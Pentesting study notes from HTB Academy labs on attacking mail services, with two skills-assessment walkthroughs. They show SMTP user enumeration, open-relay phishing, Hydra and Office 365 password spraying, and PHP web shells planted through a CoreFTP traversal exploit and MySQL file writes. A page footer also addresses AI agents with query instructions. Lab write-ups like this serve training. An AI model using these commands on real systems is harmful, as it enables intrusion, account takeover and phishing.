10.129.203.7: kate@inlanefreight.htb exists
######## Scan completed at Thu Apr 21 06:53:18 2022 #########
3 results.

78 queries in 11 seconds (7.1 queries / sec)

Alternative Enumeration Methods

# Using different SMTP commands
smtp-user-enum -M VRFY -U users.list -t target_ip
smtp-user-enum -M EXPN -U users.list -t target_ip

# Custom wordlist creation
echo -e "admin\nroot\nuser\ntest\nmail\npostmaster" > custom_users.txt

# Nmap SMTP user enumeration
nmap -p25 --script smtp-enum-users --script-args smtp-enum-users.methods={VRFY,EXPN,RCPT} target_ip

☁️ Cloud Enumeration (Office 365)

O365spray Tool (HTB Academy Example)

Validate Office 365 Domain

# HTB Academy O365 validation example
python3 o365spray.py --validate --domain msplaintext.xyz

            *** O365 Spray ***            

>----------------------------------------<

   > version        :  2.0.4
   > domain         :  msplaintext.xyz
   > validate       :  True
   > timeout        :  25 seconds
   > start          :  2022-04-13 09:46:40

>----------------------------------------<

[2022-04-13 09:46:40,344] INFO : Running O365 validation for: msplaintext.xyz
[2022-04-13 09:46:40,743] INFO : [VALID] The following domain is using O365: msplaintext.xyz

Office 365 User Enumeration

# HTB Academy O365 user enumeration
python3 o365spray.py --enum -U users.txt --domain msplaintext.xyz        
                                       
            *** O365 Spray ***             

>----------------------------------------<

   > version        :  2.0.4
   > domain         :  msplaintext.xyz
   > enum           :  True
   > userfile       :  users.txt
   > enum_module    :  office
   > rate           :  10 threads
   > timeout        :  25 seconds
   > start          :  2022-04-13 09:48:03

>----------------------------------------<

[2022-04-13 09:48:03,621] INFO : Running O365 validation for: msplaintext.xyz
[2022-04-13 09:48:04,062] INFO : [VALID] The following domain is using O365: msplaintext.xyz
[2022-04-13 09:48:04,064] INFO : Running user enumeration against 67 potential users
[2022-04-13 09:48:08,244] INFO : [VALID] lewen@msplaintext.xyz
[2022-04-13 09:48:10,415] INFO : [VALID] juurena@msplaintext.xyz
[2022-04-13 09:48:10,415] INFO : 

[ * ] Valid accounts can be found at: '/opt/o365spray/enum/enum_valid_accounts.2204130948.txt'
[ * ] All enumerated accounts can be found at: '/opt/o365spray/enum/enum_tested_accounts.2204130948.txt'

[2022-04-13 09:48:10,416] INFO : Valid Accounts: 2

Cloud Service Enumeration Tools

# Microsoft Office 365
python3 o365spray.py --enum -U users.txt --domain target.com

# Gmail/Google Workspace  
# Use CredKing for Gmail enumeration

# Generic cloud email enumeration
# - Check for common cloud providers in MX records
# - Use service-specific enumeration tools
# - Adapt techniques based on cloud provider

πŸ“¨ Protocol Specific Attacks

Open Mail Relay Exploitation

Understanding Open Relay

Open Relay = SMTP server allowing unauthenticated email relay
Risk: Mail from any source transparently re-routed
Attack Vector: Phishing emails appearing from legitimate server
Masking: Source appears to originate from open relay server

HTB Academy Open Relay Detection

# HTB Academy Nmap open relay detection
nmap -p25 -Pn --script smtp-open-relay 10.10.11.213

Starting Nmap 7.80 ( https://nmap.org ) at 2020-10-28 23:59 EDT
Nmap scan report for 10.10.11.213
Host is up (0.28s latency).

PORT   STATE SERVICE
25/tcp open  smtp
|_smtp-open-relay: Server is an open relay (14/16 tests)

HTB Academy Open Relay Exploitation with Swaks

# HTB Academy phishing email via open relay
swaks --from notifications@inlanefreight.com --to employees@inlanefreight.com --header 'Subject: Company Notification' --body 'Hi All, we want to hear from you! Please complete the following survey. http://mycustomphishinglink.com/' --server 10.10.11.213

=== Trying 10.10.11.213:25...
=== Connected to 10.10.11.213.
<-  220 mail.localdomain SMTP Mailer ready
 -> EHLO parrot
<-  250-mail.localdomain
<-  250-SIZE 33554432
<-  250-8BITMIME
<-  250-STARTTLS
<-  250-AUTH LOGIN PLAIN CRAM-MD5 CRAM-SHA1
<-  250 HELP
 -> MAIL FROM:<notifications@inlanefreight.com>
<-  250 OK
 -> RCPT TO:<employees@inlanefreight.com>
<-  250 OK
 -> DATA
<-  354 End data with <CR><LF>.<CR><LF>
 -> Date: Thu, 29 Oct 2020 01:36:06 -0400
 -> To: employees@inlanefreight.com
 -> From: notifications@inlanefreight.com
 -> Subject: Company Notification
 -> Message-Id: <20201029013606.775675@parrot>
 -> X-Mailer: swaks v20190914.0 jetmore.org/john/code/swaks/
 -> 
 -> Hi All, we want to hear from you! Please complete the following survey. http://mycustomphishinglink.com/
 -> 
 -> 
 -> .
<-  250 OK
 -> QUIT
<-  221 Bye
=== Connection closed with remote host.

Manual Open Relay Testing

# Manual telnet test for open mail relay
telnet target_ip 25

# Test commands
HELO attacker.com
MAIL FROM: test@external.com
RCPT TO: victim@external.com
DATA
Subject: Test Relay
This is a test for open relay.
.
QUIT

# Response codes:
# 250 = Command successful (relay allowed)
# 550 = Relay denied

Additional Relay Testing Tools

# Using sendEmail tool
sendEmail -f sender@external.com -t victim@external.com -s target_ip -m "Test message"

# Using msmtp
echo "Test message" | msmtp --host=target_ip --from=test@external.com victim@external.com

# Swaks with authentication testing
swaks --to test@external.com --from test@domain.com --server target_ip --auth-user admin --auth-password password

πŸ” Password Attacks

Traditional Email Service Attacks

HTB Academy Hydra Password Spray Example

# HTB Academy POP3 password spraying
hydra -L users.txt -p 'Company01!' -f 10.10.110.20 pop3

Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-04-13 11:37:46
[INFO] several providers have implemented cracking protection, check with a small wordlist first - and stay legal!
[DATA] max 16 tasks per 1 server, overall 16 tasks, 67 login tries (l:67/p:1), ~5 tries per task
[DATA] attacking pop3://10.10.110.20:110/
[110][pop3] host: 10.129.42.197   login: john   password: Company01!
1 of 1 target successfully completed, 1 valid password found

Additional Hydra Examples

# SMTP brute force
hydra -l admin -P passwords.txt smtp://target_ip:25

# IMAP password spray
hydra -L users.txt -p 'Spring2024!' imap://target_ip:143

# Multiple protocols
hydra -L users.txt -P passwords.txt target_ip smtp

Cloud Service Password Attacks

HTB Academy O365 Password Spraying

# HTB Academy O365 password spray example
python3 o365spray.py --spray -U usersfound.txt -p 'March2022!' --count 1 --lockout 1 --domain msplaintext.xyz

            *** O365 Spray ***            

>----------------------------------------<

   > version        :  2.0.4
   > domain         :  msplaintext.xyz
   > spray          :  True
   > password       :  March2022!
   > userfile       :  usersfound.txt
   > count          :  1 passwords/spray
   > lockout        :  1.0 minutes
   > spray_module   :  oauth2
   > rate           :  10 threads
   > safe           :  10 locked accounts
   > timeout        :  25 seconds
   > start          :  2022-04-14 12:26:31

>----------------------------------------<

[2022-04-14 12:26:31,757] INFO : Running O365 validation for: msplaintext.xyz
[2022-04-14 12:26:32,201] INFO : [VALID] The following domain is using O365: msplaintext.xyz
[2022-04-14 12:26:32,202] INFO : Running password spray against 2 users.
[2022-04-14 12:26:32,202] INFO : Password spraying the following passwords: ['March2022!']
[2022-04-14 12:26:33,025] INFO : [VALID] lewen@msplaintext.xyz:March2022!
[2022-04-14 12:26:33,048] INFO : 

[ * ] Writing valid credentials to: '/opt/o365spray/spray/spray_valid_credentials.2204141226.txt'
[ * ] All sprayed credentials can be found at: '/opt/o365spray/spray/spray_tested_credentials.2204141226.txt'

[2022-04-14 12:26:33,048] INFO : Valid Credentials: 1

Cloud-Specific Tools

# Office 365
o365spray --spray -U users.txt -p 'Password123!' --domain target.com

# Gmail/Google Workspace
# CredKing for Gmail enumeration and spraying

# General cloud considerations:
# - Use service-specific tools when available
# - Traditional tools often blocked by cloud providers
# - Keep tools updated due to frequent API changes

🎯 HTB Academy Lab Scenarios

Scenario 1: SMTP User Enumeration

# Task: Find available username for domain inlanefreight.htb
# Target: 10.129.203.12

# Step 1: Download users.list from module resources
# Step 2: Use smtp-user-enum with RCPT method
smtp-user-enum -M RCPT -U users.list -D inlanefreight.htb -t 10.129.203.12

# Result: marlin@inlanefreight.htb exists
# Answer: marlin

Scenario 2: SMTP Relay Testing

# Test for mail relay capabilities
telnet target_ip 25

# Test relay with external domains
HELO test.com
MAIL FROM: attacker@external.com
RCPT TO: victim@anotherdomain.com

# Check response codes:
# 250 = Relay allowed
# 550 = Relay denied

Scenario 3: Information Gathering

# Extract domain information from SMTP
telnet target_ip 25
EHLO test.com

# Look for:
# - Server version information
# - Supported extensions
# - Authentication mechanisms
# - Domain names in responses

πŸ“‹ SMTP Attack Checklist

Discovery & Enumeration

  • Port scanning - TCP/25, 465, 587 detection
  • Banner grabbing - Server version identification
  • EHLO enumeration - Supported extensions
  • Authentication methods - AUTH mechanisms
  • Domain information - Mail domain discovery

User Enumeration

  • VRFY command - User verification
  • EXPN command - Mailing list expansion
  • RCPT TO - Recipient checking
  • smtp-user-enum - Automated enumeration
  • Nmap scripts - smtp-enum-users

Exploitation

  • Open relay testing - Mail relay abuse
  • Authentication attacks - Credential brute forcing
  • Email spoofing - Sender impersonation
  • Social engineering - Phishing email crafting
  • Data exfiltration - Email-based data theft

Post-Exploitation

  • Email harvesting - Contact information gathering
  • Persistence - Email forwarding rules
  • Lateral movement - Internal email attacks
  • Credential harvesting - Phishing campaigns

πŸ›‘οΈ Defense & Mitigation

SMTP Server Hardening

  • Disable VRFY/EXPN - Prevent user enumeration
  • Configure relay restrictions - Prevent open relay
  • Implement authentication - Require SMTP AUTH
  • Rate limiting - Prevent brute force attacks
  • Banner customization - Hide version information

Email Security

  • SPF records - Sender Policy Framework
  • DKIM signatures - DomainKeys Identified Mail
  • DMARC policy - Domain-based Message Authentication
  • TLS encryption - Secure mail transmission
  • Content filtering - Malware and spam protection

Monitoring & Detection

  • Failed authentication logs - Brute force detection
  • Unusual mail patterns - Anomaly detection
  • User enumeration attempts - VRFY/EXPN monitoring
  • Relay abuse detection - External recipient tracking
  • Rate limiting alerts - High-volume email detection

πŸš€ HTB Academy Lab Scenarios

Lab Exercise 1: SMTP User Enumeration

Target: inlanefreight.htb mail server  
Task: Find available username for domain inlanefreight.htb

# HTB Academy Lab Solution:
smtp-user-enum -M RCPT -U users.list -D inlanefreight.htb -t 10.129.203.12

Starting smtp-user-enum v1.2 ( http://pentestmonkey.net/tools/smtp-user-enum )

 ----------------------------------------------------------
|                   Scan Information                       |
 ----------------------------------------------------------

Mode ..................... RCPT
Worker Processes ......... 5
Usernames file ........... users.list
Target count ............. 1
Username count ........... 79
Target TCP port .......... 25
Query timeout ............ 5 secs
Target domain ............ inlanefreight.htb

### Scan started at Thu Jun 30 22:02:35 2022 ###
10.129.203.12: marlin@inlanefreight.htb exists
### Scan completed at Thu Jun 30 22:02:42 2022 ###
1 results.

79 queries in 7 seconds (11.3 queries / sec)

# Lab Answer: marlin

Lab Exercise 2: Email Access & Flag Extraction

Target: marlin@inlanefreight.htb email account
Task: Access email and submit flag content

# Step 1: HTB Academy Password Attack with Hydra
hydra -l marlin@inlanefreight.htb -P /usr/share/wordlists/rockyou.txt smtp://10.129.203.12 -f

Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak 

[DATA] attacking smtp://10.129.203.12:25/
[25][smtp] host: 10.129.203.12   login: marlin@inlanefreight.htb   password: poohbear
[STATUS] attack finished for 10.129.203.12 (valid pair found)
1 of 1 target successfully completed, 1 valid password found

# Step 2: HTB Academy IMAP Email Access
telnet 10.129.203.12 143

Trying 10.129.203.12...
Connected to 10.129.203.12.
Escape character is '^]'.
* OK IMAPrev1

11 login "marlin@inlanefreight.htb" "poohbear"
11 OK LOGIN completed

12 select "INBOX"
* 1 EXISTS
* 1 RECENT
* FLAGS (\Deleted \Seen \Draft \Answered \Flagged)
* OK [UIDVALIDITY 1650465305] current uidvalidity
* OK [UIDNEXT 2] next uid
* OK [PERMANENTFLAGS (\Deleted \Seen \Draft \Answered \Flagged)] limited
12 OK [READ-WRITE] SELECT completed

13 FETCH 1 BODY[]
* 1 FETCH (BODY[] {640}
Return-Path: marlin@inlanefreight.htb
Received: from [10.10.14.33] (Unknown [10.10.14.33])
	by WINSRV02 with ESMTPA
	; Wed, 20 Apr 2022 14:49:32 -0500
Message-ID: <85cb72668d8f5f8436d36f085e0167ee78cf0638.camel@inlanefreight.htb>
Subject: Password change
From: marlin <marlin@inlanefreight.htb>
To: administrator@inlanefreight.htb
Cc: marlin@inlanefreight.htb
Date: Wed, 20 Apr 2022 15:49:11 -0400
Content-Type: text/plain; charset="UTF-8"
User-Agent: Evolution 3.38.3-1 
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit

Hi admin,

How can I change my password to something more secure? 

flag: HTB{...}

)
13 OK FETCH completed

# Lab Answer: HTB{...}

Key Lab Learning Points

1. SMTP User Enumeration (Lab 1)
   - smtp-user-enum with RCPT method
   - Target specific domain enumeration
   - Wordlist-based username discovery
   - Result: marlin@inlanefreight.htb

2. Multi-Protocol Attack Chain (Lab 2)  
   - SMTP password attack with Hydra
   - IMAP email access (port 143)
   - Full email content extraction
   - Credentials: marlin@inlanefreight.htb:poohbear
   
3. Practical Tool Usage
   - smtp-user-enum for enumeration
   - Hydra for password attacks
   - Telnet for manual IMAP access
   - IMAP commands: LOGIN, SELECT, FETCH

4. Real-World Attack Flow
   - Enumeration β†’ Credential Attack β†’ Email Access
   - Weak password exploitation (rockyou.txt)
   - Email-based intelligence gathering
   - Flag extraction: HTB{...}

πŸ”§ Tools & Resources

Essential Email Service Tools

# User enumeration
smtp-user-enum          # VRFY/EXPN/RCPT enumeration
nmap                    # smtp-enum-users script  
telnet/nc              # Manual testing

# Mail testing & relay
swaks                  # SMTP testing and open relay
sendEmail              # Email sending tool
msmtp                  # Mail transfer agent

# Cloud enumeration & attacks
o365spray              # Office 365 enumeration/spraying
credking               # Gmail/Okta attacks
mailsniper             # Office 365 attacks

# Password attacks  
hydra                  # Multi-protocol password attacks
medusa                 # Network login cracker
ncrack                 # Network authentication cracker

Useful Nmap SMTP Scripts

smtp-commands          # Available SMTP commands
smtp-enum-users        # User enumeration  
smtp-ntlm-info        # NTLM information
smtp-open-relay       # Open relay detection
smtp-strangeport      # Non-standard ports
smtp-vuln-cve2010-4344  # Postfix vulnerability
smtp-vuln-cve2011-1720  # Postfix vulnerability  
smtp-vuln-cve2011-1764  # Exim vulnerability


πŸ“š References

  • HTB Academy - Attacking Common Services Module
  • RFC 5321 - Simple Mail Transfer Protocol
  • smtp-user-enum - SMTP user enumeration tool
  • OWASP Email Security - Email attack vectors
  • Postfix Documentation - SMTP server configuration

This document provides comprehensive SMTP attack methodologies based on HTB Academy’s β€œAttacking Common Services” module, focusing on practical exploitation techniques for penetration testing and security assessment.

Agent Instructions

This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the ask query parameter:
GET https://kabaneridev.gitbook.io/pentesting-notes/certification-preparation/cpts-prep/attacking-common-services/smtp-attacks.md?ask=<question>
The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.

Skills Assessment Scenarios

🎯 Skills Assessment - Attacking Common Services

🎯 Overview

This document covers the Skills Assessment (Easy) from HTB Academy’s β€œAttacking Common Services” module. This practical exercise demonstrates a complete attack chain combining multiple service exploitation techniques to achieve the objective.
Target Domain: inlanefreight.htb
Objective: β€œAssess the target server and obtain the contents of the flag.txt file”
Skills Tested: Service enumeration, user enumeration, credential attacks, file system access, web shell deployment

πŸ” Phase 1: Service Discovery & Enumeration

Initial Nmap Scan

# HTB Academy Skills Assessment - Initial reconnaissance
nmap -A 10.129.203.7

Starting Nmap 7.92 ( https://nmap.org ) at 2022-11-27 13:54 GMT
Nmap scan report for 10.129.203.7
Host is up (0.014s latency).
Not shown: 993 filtered tcp ports (no-response)
PORT     STATE SERVICE       VERSION
21/tcp   open  ftp
| fingerprint-strings: 
|   GenericLines: 
|     220 Core FTP Server Version 2.0, build 725, 64-bit Unregistered
|     Command unknown, not supported or not allowed...
|     Command unknown, not supported or not allowed...
|   NULL: 
|_    220 Core FTP Server Version 2.0, build 725, 64-bit Unregistered
|_ssl-date: 2022-11-27T13:56:03+00:00; 0s from scanner time.
25/tcp   open  smtp          hMailServer smtpd
| smtp-commands: WIN-EASY, SIZE 20480000, AUTH LOGIN PLAIN, HELP
|_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY
80/tcp   open  http          Apache httpd 2.4.53 ((Win64) OpenSSL/1.1.1n PHP/7.4.29)
| http-title: Welcome to XAMPP
|_Requested resource was http://10.129.203.7/dashboard/
|_http-server-header: Apache/2.4.53 (Win64) OpenSSL/1.1.1n PHP/7.4.29
443/tcp  open  https         Core FTP HTTPS Server
| fingerprint-strings: 
|   LDAPSearchReq: 
|_    550 Too many connections, please try later...
|_ssl-date: 2022-11-27T13:56:03+00:00; +1s from scanner time.
| ssl-cert: Subject: commonName=Test/organizationName=Testing/stateOrProvinceName=FL/countryName=US
| Not valid before: 2022-04-21T19:27:17
|_Not valid after:  2032-04-18T19:27:17
|_http-server-header: Core FTP HTTPS Server
587/tcp  open  smtp          hMailServer smtpd
| smtp-commands: WIN-EASY, SIZE 20480000, AUTH LOGIN PLAIN, HELP
|_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY
3306/tcp open  mysql         MySQL 5.5.5-10.4.24-MariaDB
| mysql-info: 
|   Protocol: 10
|   Version: 5.5.5-10.4.24-MariaDB
|   Thread ID: 10
|   Capabilities flags: 63486
|   Some Capabilities: IgnoreSigpipes, Support41Auth, Speaks41ProtocolOld, SupportsTransactions, ConnectWithDatabase, FoundRows, LongColumnFlag, Speaks41ProtocolNew, InteractiveClient, SupportsCompression, DontAllowDatabaseTableColumn, IgnoreSpaceBeforeParenthesis, ODBCClient, SupportsLoadDataLocal, SupportsAuthPlugins, SupportsMultipleStatments, SupportsMultipleResults
|   Status: Autocommit
|   Salt: s`gc>J7s`gdB\'M.>,`#
|_  Auth Plugin Name: mysql_native_password

Key Services Identified

βœ… FTP (21)     - Core FTP Server 2.0 build 725
βœ… SMTP (25)    - hMailServer 
βœ… HTTP (80)    - Apache 2.4.53 XAMPP
βœ… HTTPS (443)  - Core FTP HTTPS Server  
βœ… SMTP (587)   - hMailServer
βœ… MySQL (3306) - MariaDB 10.4.24

πŸ‘€ Phase 2: User Enumeration (SMTP)

Download User Wordlist

# HTB Academy provided users wordlist
wget https://academy.hackthebox.com/storage/resources/users.zip && unzip users.zip

--2022-11-27 14:08:13--  https://academy.hackthebox.com/storage/resources/users.zip
Resolving academy.hackthebox.com (academy.hackthebox.com)... 104.18.20.126, 104.18.21.126, 2606:4700::6812:147e, ...
Connecting to academy.hackthebox.com (academy.hackthebox.com)|104.18.20.126|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 434 [application/zip]
Saving to: 'users.zip'

users.zip     100%[========>]     434  --.-KB/s    in 0s      

Archive:  users.zip
  inflating: users.list

SMTP User Enumeration

# HTB Academy SMTP user enumeration
/usr/bin/smtp-user-enum -M RCPT -U users.list -D inlanefreight.htb -t 10.129.203.7

Starting smtp-user-enum v1.2 ( http://pentestmonkey.net/tools/smtp-user-enum )

 ----------------------------------------------------------
|                   Scan Information                       |
 ----------------------------------------------------------

Mode ..................... RCPT
Worker Processes ......... 5
Usernames file ........... users.list
Target count ............. 1
Username count ........... 79
Target TCP port .......... 25
Query timeout ............ 5 secs
Target domain ............ inlanefreight.htb

######## Scan started at Sun Nov 27 14:11:34 2022 #########
10.129.203.7: fiona@inlanefreight.htb exists
######## Scan completed at Sun Nov 27 14:11:36 2022 #########
1 results.

79 queries in 2 seconds (39.5 queries / sec)
Result: Valid user fiona@inlanefreight.htb discovered

πŸ” Phase 3: Credential Attacks (FTP)

FTP Password Brute Force

# HTB Academy FTP credential attack
# CRITICAL: Use -t 1 to avoid 550 errors
hydra -l fiona -P /usr/share/wordlists/rockyou.txt ftp://10.129.203.7 -u -t 1

Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-11-27 15:06:58
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 1 task per 1 server, overall 1 task, 14344399 login tries (l:1/p:14344399), ~14344399 tries per task
[DATA] attacking ftp://10.129.203.7:21/
[STATUS] 74.00 tries/min, 74 tries in 00:01h, 14344325 to do in 3230:43h, 1 active
[21][ftp] host: 10.129.203.7   login: fiona   password: 987654321
1 of 1 target successfully completed, 1 valid password found
Result: Valid credentials fiona:987654321 discovered

πŸ“‚ Phase 4: FTP Intelligence Gathering

FTP Access & File Download

# HTB Academy FTP access
ftp 10.129.203.7

Connected to 10.129.203.7.
220 Core FTP Server Version 2.0, build 725, 64-bit Unregistered
Name (10.129.203.7:root): fiona
331 password required for fiona
Password: 987654321
230-Logged on
230 
Remote system type is UNIX.
Using binary mode to transfer files.

# Download intelligence files
ftp> dir
200 PORT command successful
150 Opening ASCII mode data connection for LIST
docs.txt
WebServersInfo.txt
226 Transfer Complete

ftp> get docs.txt
local: docs.txt remote: docs.txt
200 PORT command successful
150 RETR command started
226 Transfer Complete
55 bytes received in 0.00 secs (135.2920 kB/s)

ftp> get WebServersInfo.txt
local: WebServersInfo.txt remote: WebServersInfo.txt
200 PORT command successful
150 RETR command started
226 Transfer Complete
255 bytes received in 0.00 secs (747.8181 kB/s)

ftp> bye
221 Goodbye

Critical Intelligence Analysis

# HTB Academy intelligence analysis
awk 1 WebServersInfo.txt

CoreFTP:
Directory C:\CoreFTP
Ports: 21 & 443
Test Command: curl -k -H "Host: localhost" --basic -u <username>:<password> https://localhost/docs.txt

Apache
Directory "C:\xampp\htdocs\"
Ports: 80 & 4443
Test Command: curl http://localhost/test.php
Key Intelligence:
  • CoreFTP server running on ports 21 & 443
  • Apache web root at C:\xampp\htdocs\
  • Authentication methods available via HTTPS

πŸš€ Phase 5: Exploitation - Method 1 (CoreFTP Directory Traversal)

Vulnerability Research

# HTB Academy exploit research
searchsploit CoreFTP

---------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                                                |  Path
---------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
CoreFTP 2.0 Build 674 MDTM - Directory Traversal (Metasploit)                                                                                 | windows/remote/48195.txt
CoreFTP 2.0 Build 674 SIZE - Directory Traversal (Metasploit)                                                                                 | windows/remote/48194.txt
CoreFTP 2.1 b1637 - Password field Universal Buffer Overflow                                                                                  | windows/local/11314.py
CoreFTP Server build 725 - Directory Traversal (Authenticated)                                                                                | windows/remote/50652.txt
---------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------

# Copy relevant exploit
searchsploit -m windows/remote/50652.txt

  Exploit: CoreFTP Server build 725 - Directory Traversal (Authenticated)
      URL: https://www.exploit-db.com/exploits/50652
     Path: /usr/share/exploitdb/exploits/windows/remote/50652.txt
File Type: ASCII text

Copied to: /home/htb-ac413848/50652.txt

Exploit Analysis

# HTB Academy exploit study
cat 50652.txt

# Exploit Title: CoreFTP Server build 725 - Directory Traversal (Authenticated)
# Date: 08/01/2022
# Exploit Author: LiamInfosec
# Vendor Homepage: http://coreftp.com/
# Version: build 725 and below
# Tested on: Windows 10
# CVE : CVE-2022-22836

# Description:

CoreFTP Server before 727 allows directory traversal (for file creation) by an authenticated attacker via ../ in an HTTP PUT request.

# Proof of Concept:

curl -k -X PUT -H "Host: <IP>" --basic -u <username>:<password> --data-binary "PoC." --path-as-is https://<IP>/../../../../../../whoops

Web Shell Upload via Directory Traversal

# HTB Academy web shell deployment (Method 1)
# Generate random filename: openssl rand -hex 16
curl -k -X PUT -H "Host: 10.129.242.84" --basic -u fiona:987654321 --data-binary '<?php echo shell_exec($_GET["c"]);?>' --path-as-is https://10.129.242.84/../../../../../../xampp/htdocs/1af271ec0935f7ccbd31dc24666f7f33.php

HTTP/1.1 200 Ok
Date:Sun, 27 Oct 2022 16:10:37 GMT
Server: Core FTP HTTP Server
Accept-Ranges: bytes
Connection: Keep-Alive
Content-type: application/octet-stream
Content-length: 36

πŸ—„οΈ Phase 6: Exploitation - Method 2 (MySQL File Write)

MySQL Access

# HTB Academy MySQL access (Alternative method)
mysql -u fiona -p987654321 -h 10.129.242.84

Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 8
Server version: 10.4.24-MariaDB mariadb.org binary distribution

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]>

File Write Privilege Check

-- HTB Academy MySQL file operations check
show variables like "secure_file_priv";

+------------------+-------+
| Variable_name    | Value |
+------------------+-------+
| secure_file_priv |       |
+------------------+-------+
1 row in set (0.016 sec)
Result: Empty value = File read/write operations allowed

Web Shell Creation via MySQL

-- HTB Academy web shell deployment (Method 2)
-- Generate random filename: openssl rand -hex 16
SELECT "<?php echo shell_exec($_GET['c']);?>" INTO OUTFILE 'C:/xampp/htdocs/90957b76a1f20de2b13c5bcb2d05b5cf.php';

Query OK, 1 row affected (0.015 sec)

🎯 Phase 7: Flag Extraction

Web Shell Execution

# HTB Academy flag extraction
# Method 1 shell usage:
curl -w "\n" http://10.129.242.84/1af271ec0935f7ccbd31dc24666f7f33.php?c=type%20C:\\users\\administrator\\desktop\\flag.txt

HTB{...}

# Method 2 shell usage:
curl -w "\n" http://10.129.242.84/90957b76a1f20de2b13c5bcb2d05b5cf.php?c=type%20C:\\users\\administrator\\desktop\\flag.txt

HTB{...}

πŸ“Š Attack Chain Summary

Complete Attack Flow

1. Service Discovery    β†’ Nmap scan (6 services identified)
2. User Enumeration     β†’ SMTP RCPT enumeration (fiona found)
3. Credential Attack    β†’ FTP brute force (fiona:987654321)
4. Intelligence Gather  β†’ FTP file download (server info)
5. Vulnerability Research β†’ CoreFTP CVE-2022-22836
6. Exploitation        β†’ 2 methods available
   β”œβ”€β”€ Method 1: CoreFTP directory traversal
   └── Method 2: MySQL file write
7. Flag Extraction      β†’ Web shell command execution

Services Utilized

βœ… SMTP    - User enumeration (smtp-user-enum)
βœ… FTP     - Credential attack (Hydra) + File access
βœ… HTTP    - Web shell execution
βœ… HTTPS   - Directory traversal exploit (CoreFTP)
βœ… MySQL   - Alternative file write method

Key Learning Points

1. Multi-Service Attack Chain
   - Combined 5 different services for complete compromise
   - Each service provided different attack vectors

2. Intelligence-Driven Exploitation
   - FTP files revealed critical server information
   - Directory paths essential for successful exploitation

3. Multiple Exploitation Paths
   - CoreFTP directory traversal (CVE-2022-22836)
   - MySQL secure_file_priv bypass for file operations

4. Practical CPTS Skills
   - Service enumeration and fingerprinting
   - User enumeration techniques
   - Credential attack methodologies
   - Vulnerability research and exploitation
   - Web shell deployment and execution

πŸ”§ Tools & Commands Reference

Complete Tool Chain Used

# Service Discovery
nmap -A target_ip

# User Enumeration  
wget https://academy.hackthebox.com/storage/resources/users.zip
unzip users.zip
smtp-user-enum -M RCPT -U users.list -D inlanefreight.htb -t target_ip

# Credential Attacks
hydra -l username -P /usr/share/wordlists/rockyou.txt ftp://target_ip -u -t 1

# FTP Access
ftp target_ip

# Vulnerability Research
searchsploit CoreFTP
searchsploit -m windows/remote/50652.txt

# CoreFTP Exploitation
curl -k -X PUT -H "Host: target_ip" --basic -u username:password --data-binary '<?php echo shell_exec($_GET["c"]);?>' --path-as-is https://target_ip/../../../../../../xampp/htdocs/shell.php

# MySQL Alternative
mysql -u username -ppassword -h target_ip
SELECT "<?php echo shell_exec($_GET['c']);?>" INTO OUTFILE 'C:/xampp/htdocs/shell.php';

# Flag Extraction
curl -w "\n" http://target_ip/shell.php?c=type%20C:\\users\\administrator\\desktop\\flag.txt


🎯 Skills Assessment - Medium Difficulty

🎯 Overview - Medium Challenge

This document covers the Skills Assessment (Medium) from HTB Academy’s β€œAttacking Common Services” module. This advanced exercise demonstrates a complex attack chain involving DNS enumeration, vHost discovery, anonymous FTP access, email exploitation, and SSH key-based authentication.
Target Domain: inlanefreight.htb
Objective: β€œAssess the target server and find the flag.txt file”
Skills Tested: DNS zone transfers, vHost enumeration, FTP intelligence gathering, POP3 attacks, SSH key extraction and usage

πŸ” Phase 1: Service Discovery & DNS Enumeration

Initial Nmap Scan

# HTB Academy Skills Assessment Medium - Initial reconnaissance
nmap -A 10.129.183.208

Starting Nmap 7.92 ( https://nmap.org ) at 2022-11-27 16:47 GMT
Nmap scan report for 10.129.183.208
Host is up (0.013s latency).
Not shown: 995 closed tcp ports (conn-refused)
PORT     STATE SERVICE  VERSION
<SNIP>
53/tcp   open  domain   ISC BIND 9.16.1 (Ubuntu Linux)
| dns-nsid: 
|_  bind.version: 9.16.1-Ubuntu
<SNIP>
Key Discovery: DNS server running on port 53 (BIND 9.16.1)

DNS Zone Transfer Attack

# HTB Academy DNS zone transfer exploitation
dig AXFR inlanefreight.htb @10.129.183.208

; <<>> DiG 9.16.27-Debian <<>> AXFR inlanefreight.htb @10.129.183.208
;; global options: +cmd
inlanefreight.htb.	604800	IN	SOA	inlanefreight.htb. root.inlanefreight.htb. 2 604800 86400 2419200 604800
inlanefreight.htb.	604800	IN	NS	ns.inlanefreight.htb.
app.inlanefreight.htb.	604800	IN	A	10.129.200.5
dc1.inlanefreight.htb.	604800	IN	A	10.129.100.10
dc2.inlanefreight.htb.	604800	IN	A	10.129.200.10
int-ftp.inlanefreight.htb. 604800 IN	A	127.0.0.1
int-nfs.inlanefreight.htb. 604800 IN	A	10.129.200.70
ns.inlanefreight.htb.	604800	IN	A	127.0.0.1
